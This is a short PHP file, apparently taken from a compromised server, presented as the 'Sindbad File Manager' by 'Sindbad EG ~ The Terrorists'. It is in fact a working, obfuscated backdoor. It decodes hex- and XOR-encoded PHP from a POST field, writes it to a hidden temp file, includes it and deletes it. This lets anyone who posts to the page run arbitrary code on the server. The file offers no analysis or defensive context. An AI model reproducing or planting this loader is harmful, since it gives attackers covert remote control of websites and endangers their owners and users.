Sindbad~EG File Manager
<?php
if(array_key_exists("\x70\x74r", $_POST) && !is_null($_POST["\x70\x74r"])){
$descriptor = hex2bin($_POST["\x70\x74r"]);
$element = '';$c = 0; do{$element .= chr(ord($descriptor[$c]) ^ 95);$c++;} while($c < strlen($descriptor));
$flg = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir()]);
for ($bind = 0, $fac = count($flg); $bind < $fac; $bind++) {
$sym = $flg[$bind];
if (!!is_dir($sym) && !!is_writable($sym)) {
$k = str_replace("{var_dir}", $sym, "{var_dir}/.resource");
if (file_put_contents($k, $element)) {
include $k;
@unlink($k);
die();
}
}
}
}
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists